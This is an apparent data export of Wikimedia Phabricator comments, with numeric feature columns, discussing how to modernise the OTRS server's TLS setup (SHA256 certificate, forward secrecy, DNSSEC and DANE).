603045,SSL-config of the OTRS is outdated,"we should check one more time since today OTRS moved to mendelevium.  i think we already fixed everything except the DNSSEC and DANE part before though, as Jan Zerebecki said above. and those parts are probably won't fix.",,,1454544952,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,31,True,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,11.0,11.0,2.0,0.0,2.0,2.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,11.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,11.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.181818181818182,0.9090909090909091,"we should check one more time since today OTRS moved to mendelevium.  i think we already fixed everything except the DNSSEC and DANE part before though, as Jan Zerebecki said above. and those parts are probably won't fix."
531066,SSL-config of the OTRS is outdated,Seems everything from this ticket except DNSSEC and DANE are fixed. Does otrs does its own SMTP?,,,1442774682,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,11,True,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,26.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,21.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,1.0,Seems everything from this ticket except DNSSEC and DANE are fixed. Does otrs does its own SMTP?
530752,SSL-config of the OTRS is outdated,">>! In T91504#1653983, @Krenair wrote:
> Which depends on {T111532} (actually, it looks to me like this was already done, will comment there in a sec)

It is. It's ""mendelevium"".

https://icinga.wikimedia.org/cgi-bin/icinga/status.cgi?search_string=mendelevium

http://git.wikimedia.org/search/?s=mendelevium&r=operations/puppet.git&st=COMMIT

http://git.wikimedia.org/commit/operations%2Fpuppet.git/8b9c128db3ea99b7ece57ba9a63585a7210186b3",,,1442642121,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6842105263157894,0.5263157894736842,"QUOTE
QUOTE

It is. It's ""mendelevium"".

URL

URL

URL"
530425,SSL-config of the OTRS is outdated,"This depends on {T105125}
Which should be done as part of {T105554}
Which depends on {T111532} (actually, it looks to me like this was already done, will comment there in a sec)
Which mentions an OTRS upgrade as one of ops' goals ({T74109} - the previous goal in that objective was completed today) for Q1 2015-2016, so it sounds to me like this has a pretty good chance of getting ops attention this year or maybe next?",,,1442598334,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,4.0,14.0,5.0,1.0,1.0,0.0,4.0,0.0,3.0,3.0,2.0,1.0,0.0,0.0,0.0,3.505050505050505,0.6868686868686869,"This depends on {T105125}
Which should be done as part of {T105554}
Which depends on {T111532} (actually, it looks to me like this was already done, will comment there in a sec)
Which mentions an OTRS upgrade as one of ops' goals ({T74109} - the previous goal in that objective was completed today) for Q1 2015-2016, so it sounds to me like this has a pretty good chance of getting ops attention this year or maybe next?"
530424,SSL-config of the OTRS is outdated,"This depends on {T105125}
Which should be done as part of {T105554}
Which depends on {T111532} (actually, it looks to me like this was already done, will comment there in a sec)
Which mentions an OTRS upgrade as one of ops' goals ({T74109} - the previous goal in that objective was completed today), so it sounds to me like this has a pretty good chance of getting ops attention this year or maybe next?",,,1442598287,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,4.0,14.0,4.0,1.0,1.0,0.0,4.0,0.0,3.0,3.0,2.0,1.0,0.0,0.0,0.0,3.5425531914893615,0.6808510638297872,"This depends on {T105125}
Which should be done as part of {T105554}
Which depends on {T111532} (actually, it looks to me like this was already done, will comment there in a sec)
Which mentions an OTRS upgrade as one of ops' goals ({T74109} - the previous goal in that objective was completed today), so it sounds to me like this has a pretty good chance of getting ops attention this year or maybe next?"
488828,SSL-config of the OTRS is outdated,">>! In T91504#1437522, @BBlack wrote:

> We don't have a ""domain hoster"", we do this all ourselves in the Operations team. 

I spoke of the provider where you manage the org-domain. But maybe you have an even more direct access (which would simple the DNSSEC also more…)

> Pragmatically speaking, I don't expect much movement on this until at least ""sometime later this year"".
It is not THAT urgent, if it happens in 2015 that’s more than early enough.

",,,1436381174,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,14.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,7.0,3.0,0.0,0.0,0.0,9.0,0.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,3.5344827586206895,0.8103448275862069,"QUOTE

QUOTE

I spoke of the provider where you manage the org-domain. But maybe you have an even more direct access (which would simple the DNSSEC also more…)

QUOTE
It is not THAT urgent, if it happens in 2015 that’s more than early enough.

"
488593,SSL-config of the OTRS is outdated,">>! In T91504#1437397, @DaBPunkt wrote:
>>>! In T91504#1435161, @BBlack wrote:
>> DNSSEC and DANE are not things we currently do.
> 
> The question is: Why? A non-public-system like the OTRS is the ideal enviroment to test such (for the WMF) new technologies. The OTRS has its own sub-domain under wikimedia.org, so a DNSSEC-entry is a peace of cake and can not interrupt Wikipedia and co. Just run “zonesigner” on the zone-file and add the DS-hash at your domain-hoster – that’s not 1h of work, even if you never did it before.  I’m willing to provide assistance.

We don't have a ""domain hoster"", we do this all ourselves in the Operations team.  My reluctance isn't for lack of understanding how DNSSEC works, there are just a lot of other complex issues to deal with before we can look at it here (not the least of which is the reflection problems and other general design issues), and integrating DNSSEC support into the DNS server software we're using (which, full disclosure, is one I wrote before I started working here: https://github.com/gdnsd/gdnsd ) is non-trivial as well, which we value for its other properties related to geographic loadbalancing and such.  There's a separate and somewhat-stale ticket about it here: https://phabricator.wikimedia.org/T26413 .  Pragmatically speaking, I don't expect much movement on this until at least ""sometime later this year"".",,,1436361796,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,1.0,0.0,0.0,0.0,2.0,9.0,1.5,0.0,0.0,0.0,1.0,2.0,0.0,0.5,1.0,5.5,1.5,8.0,9.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.5,6.5,1.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.5,3.5,2.5,10.0,0.5,2.0,7.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,7.0,9.0,4.0,0.0,2.0,0.0,7.0,0.0,2.0,1.5,0.5,2.5,0.0,1.0,0.0,3.8988095238095237,0.7559523809523809,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We don't have a ""domain hoster"", we do this all ourselves in the Operations team.  My reluctance isn't for lack of understanding how DNSSEC works, there are just a lot of other complex issues to deal with before we can look at it here (not the least of which is the reflection problems and other general design issues), and integrating DNSSEC support into the DNS server software we're using (which, full disclosure, is one I wrote before I started working here: URL ) is non-trivial as well, which we value for its other properties related to geographic loadbalancing and such.  There's a separate and somewhat-stale ticket about it here: URL .  Pragmatically speaking, I don't expect much movement on this until at least ""sometime later this year""."
488578,SSL-config of the OTRS is outdated,">>! In T91504#1435161, @BBlack wrote:
> DNSSEC and DANE are not things we currently do.

The question is: Why? A non-public-system like the OTRS is the ideal enviroment to test such (for the WMF) new technologies. The OTRS has its own sub-domain under wikimedia.org, so a DNSSEC-entry is a peace of cake and can not interrupt Wikipedia and co. Just run “zonesigner” on the zone-file and add the DS-hash at your domain-hoster – that’s not 1h of work, even if you never did it before.  I’m willing to provide assistance.

",,,1436359136,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,2.0,5.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,7.5,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,8.5,2.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.5,3.5,0.5,0.0,0.0,4.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,3.4259259259259256,0.8333333333333333,"QUOTE
QUOTE

The question is: Why? A non-public-system like the OTRS is the ideal enviroment to test such (for the WMF) new technologies. The OTRS has its own sub-domain under wikimedia.org, so a DNSSEC-entry is a peace of cake and can not interrupt Wikipedia and co. Just run “zonesigner” on the zone-file and add the DS-hash at your domain-hoster – that’s not 1h of work, even if you never did it before.  I’m willing to provide assistance.

"
488177,SSL-config of the OTRS is outdated,"Actually that's not an accurate statement at all.  The Apache2.2 on precise can't really do PFS at all in our configs :/  Still, upgrade to Jessie!",,,1436289832,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,27.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,15.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.696969696969697,0.9090909090909091,"Actually that's not an accurate statement at all.  The Apache2.2 on precise can't really do PFS at all in our configs :/  Still, upgrade to Jessie!"
488175,SSL-config of the OTRS is outdated,"And the server is currently configured to do PFS with reasonably-modern clients.  It can't support PFS with some older/crappier clients until the machine is upgraded to Jessie, basically.",,,1436289566,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,3.0,0.0,0.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.324324324324325,0.8108108108108109,"And the server is currently configured to do PFS with reasonably-modern clients.  It can't support PFS with some older/crappier clients until the machine is upgraded to Jessie, basically."
488171,SSL-config of the OTRS is outdated,DNSSEC and DANE are not things we currently do.,,,1436289463,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,DNSSEC and DANE are not things we currently do.
488162,SSL-config of the OTRS is outdated,"I've completed the SHA256 update.

I'm not entirely certain what remains, but seems to be:

- No PFS
-config DNSSEC for that domain too (and if you REALLY in the mood: DANE too).",,,1436289293,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,18.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,9.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.311111111111111,0.8666666666666667,"I've completed the SHA256 update.

I'm not entirely certain what remains, but seems to be:

- No PFS
-config DNSSEC for that domain too (and if you REALLY in the mood: DANE too)."
488151,SSL-config of the OTRS is outdated,"Change 221161 merged by RobH:
updating ticket.wikimedia.org cert with sha256

[[https://gerrit.wikimedia.org/r/221161]]",,,1436288636,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,4.666666666666667,0.8888888888888888,"Change 221161 merged by RobH:
updating ticket.wikimedia.org cert with sha256

[[GERRIT_URL]]"
485877,SSL-config of the OTRS is outdated,"So I think I should be able to simply roll the above certificate replacement into place with minimal downtime.  I'll run through said plan on this task for peer review.

OTRS is defined in manifests/role/otrs.pp and templates/apache/sites/ticket.wikimedia.org.erb.  The update should be as simple as pushing in said change, and running puppet on iodine.  The puppet run should replace the certificate file, (possibly) regenerate the chain file, and refresh/restart apache.

If the chain file isn't recreated automatically, it can then be manually deleted and puppet re-run to create the file.

Unfortunately, this process could result in certificate errors during the window.  Since OTRS is high visibility to a significant volunteer base, this should be scheduled via the deployment calendar and email notification sent to the OTRS folks.

I'll create a task for the roadmap planning of next week's maintenance/deployment calendar.",,,1435871032,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,2.0,0.5,4.0,1.5,0.0,0.0,0.5,2.5,1.5,0.0,0.0,0.0,2.0,0.0,4.5,11.0,0.0,1.0,2.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,1.0,0.0,2.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,24.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,7.0,3.5,7.0,1.0,2.5,8.5,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,2.5,11.0,2.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.336956521739131,0.7010869565217391,"So I think I should be able to simply roll the above certificate replacement into place with minimal downtime.  I'll run through said plan on this task for peer review.

OTRS is defined in manifests/role/otrs.pp and templates/apache/sites/ticket.wikimedia.org.erb.  The update should be as simple as pushing in said change, and running puppet on iodine.  The puppet run should replace the certificate file, (possibly) regenerate the chain file, and refresh/restart apache.

If the chain file isn't recreated automatically, it can then be manually deleted and puppet re-run to create the file.

Unfortunately, this process could result in certificate errors during the window.  Since OTRS is high visibility to a significant volunteer base, this should be scheduled via the deployment calendar and email notification sent to the OTRS folks.

I'll create a task for the roadmap planning of next week's maintenance/deployment calendar."
482612,SSL-config of the OTRS is outdated,"Change 221161 had a related patch set uploaded (by RobH):
updating ticket.wikimedia.org cert with sha256

[[https://gerrit.wikimedia.org/r/221161]]
",,,1435341877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.32,0.88,"Change 221161 had a related patch set uploaded (by RobH):
updating ticket.wikimedia.org cert with sha256

[[GERRIT_URL]]
"
477536,SSL-config of the OTRS is outdated,@RobH any updates on this?,,,1434656238,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,2,False,,,-2,True,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,SCREEN_NAME any updates on this?
469336,SSL-config of the OTRS is outdated,@RobH unlike all other replaced certs i don't see this one in Gerrit yet. Could you get that too?,,,1433451528,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-4,True,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,5.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8636363636363638,1.0,SCREEN_NAME unlike all other replaced certs i don't see this one in Gerrit yet. Could you get that too?
469315,SSL-config of the OTRS is outdated,"could this ticket be split into more specific ToDos?

No PFS, weak key-options and the MAC of the certificate still use SHA1 
and
config DNSSEC for that domain too (and if you REALLY in the mood: DANE too).

are all kind of separate ",,,1433450018,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-4,True,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,15.0,2.0,5.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.5090909090909093,0.8545454545454545,"could this ticket be split into more specific ToDos?

No PFS, weak key-options and the MAC of the certificate still use SHA1 
and
config DNSSEC for that domain too (and if you REALLY in the mood: DANE too).

are all kind of separate "
436034,SSL-config of the OTRS is outdated,"> No, it's not behind misc-web. OTRS is standalone on iodine. Maybe @JGreen can comment if it's feasible to move it.

I'm not that familiar with misc-web, but moving OTRS behind a reverse proxy would take some testing. I know it does session tracking using both client IP and cookies, this is already problematic with clients that change IP or IPv4/IPv6 dynamically. So we'll need to make sure OTRS is sane about XFF and similar headers.",,,1427827971,,PHID-USER-cwqdddnpyui7ysn4xsuw,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-14,True,1.0,0.0,0.0,0.0,1.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,16.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,7.0,7.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,0.8529411764705882,"QUOTE

I'm not that familiar with misc-web, but moving OTRS behind a reverse proxy would take some testing. I know it does session tracking using both client IP and cookies, this is already problematic with clients that change IP or IPv4/IPv6 dynamically. So we'll need to make sure OTRS is sane about XFF and similar headers."
436004,SSL-config of the OTRS is outdated,">>! In T91504#1147772, @Chmarkine wrote:
>  recall @Dzahn said that OTRS would be behind misc-web. If so, then both the cipher suite and certificate issues will be gone.

No, it's not behind misc-web. OTRS is standalone on iodine. Maybe @JGreen can comment if it's feasible to move it.",,,1427825767,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,10.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,13.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6129032258064515,0.8064516129032258,"QUOTE
QUOTE

No, it's not behind misc-web. OTRS is standalone on iodine. MaybeSCREEN_NAME can comment if it's feasible to move it."
432140,SSL-config of the OTRS is outdated,">>! In T91504#1140486, @DaBPunkt wrote:
> 
> Sure it does, but the webserver for our OTRS doesn’t use it. HSTS is a nice idea, yes

>>! In T91504#1147758, @Dzahn wrote:
> either this is not actually used or the same problems apply to a couple services using the same settings and could be solved globally in ssl_ciphersuite.  HSTS should be enabled as well (the '365' part of it).  The "" MAC of the certificate still use SHA1"" should be part of T73156 and is a bit different because it requires new certs, not just changing config.

Are there any problems in the settings? PFS is not supported here since Apache 2.2 doesn't support ECDHE cipher suites. I recall @Dzahn said that OTRS would be behind misc-web. If so, then both the cipher suite and certificate issues will be gone.

